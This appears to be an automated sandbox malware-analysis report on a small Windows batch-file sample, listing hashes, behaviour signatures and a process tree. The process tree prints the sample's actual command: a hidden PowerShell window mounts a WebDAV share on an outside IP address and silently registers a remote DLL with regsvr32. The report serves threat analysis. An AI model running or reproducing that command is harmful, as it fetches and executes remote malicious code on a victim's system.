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Analysis
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max time kernel
117s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
19/07/2024, 06:59
Static task
static1
Behavioral task
behavioral1
Sample
21348315842434132741.bat
Resource
win7-20240704-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
21348315842434132741.bat
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
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Target
21348315842434132741.bat
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Size
2KB
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MD5
727c8f0fc8782d849bcf2fcbaa38acce
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SHA1
411325e4cbe91bc4ae15914fff38eb8c2d32c90b
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SHA256
5c54e6be00c2bdee8c704c026d20e5504c2c805aa99133e29b6a5799ab11b4c6
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SHA512
3f82ed587271c3e91b60bceb3406f7ef663f6b9a59553d369633d10456bd6dadb68843a7a4ca81c9084b08dd4c0e442c5a82c20ff2d003e0c69a0302a7a74424
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2736 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2736 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2764 wordpad.exe 2764 wordpad.exe 2764 wordpad.exe 2764 wordpad.exe 2764 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2812 wrote to memory of 2764 2812 cmd.exe 31 PID 2812 wrote to memory of 2764 2812 cmd.exe 31 PID 2812 wrote to memory of 2764 2812 cmd.exe 31 PID 2812 wrote to memory of 2736 2812 cmd.exe 32 PID 2812 wrote to memory of 2736 2812 cmd.exe 32 PID 2812 wrote to memory of 2736 2812 cmd.exe 32 PID 2736 wrote to memory of 2748 2736 powershell.exe 34 PID 2736 wrote to memory of 2748 2736 powershell.exe 34 PID 2736 wrote to memory of 2748 2736 powershell.exe 34 PID 2736 wrote to memory of 2724 2736 powershell.exe 35 PID 2736 wrote to memory of 2724 2736 powershell.exe 35 PID 2736 wrote to memory of 2724 2736 powershell.exe 35 PID 2736 wrote to memory of 2724 2736 powershell.exe 35 PID 2736 wrote to memory of 2724 2736 powershell.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\21348315842434132741.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2748
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll3⤵PID:2724
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